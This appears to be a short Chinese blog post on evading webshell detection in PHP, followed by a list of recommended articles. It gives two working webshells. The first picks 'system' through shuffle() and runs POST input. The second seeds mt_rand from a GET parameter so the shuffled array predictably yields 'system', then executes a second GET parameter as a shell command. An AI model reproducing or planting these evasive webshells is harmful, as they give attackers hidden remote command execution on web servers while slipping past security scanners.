记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
一次旅行5 分钟前
网络安全总结
安全·web安全
西岸行者32 分钟前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
red1giant_star1 小时前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
悠哉悠哉愿意2 小时前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
ZeroNews内网穿透3 小时前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
别催小唐敲代码3 小时前
嵌入式学习路线
学习
一名优秀的码农4 小时前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Libraeking4 小时前
05 安全边界:MCP Server 的权限沙箱与敏感数据保护
安全
毛小茛4 小时前
计算机系统概论——校验码
学习
babe小鑫4 小时前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析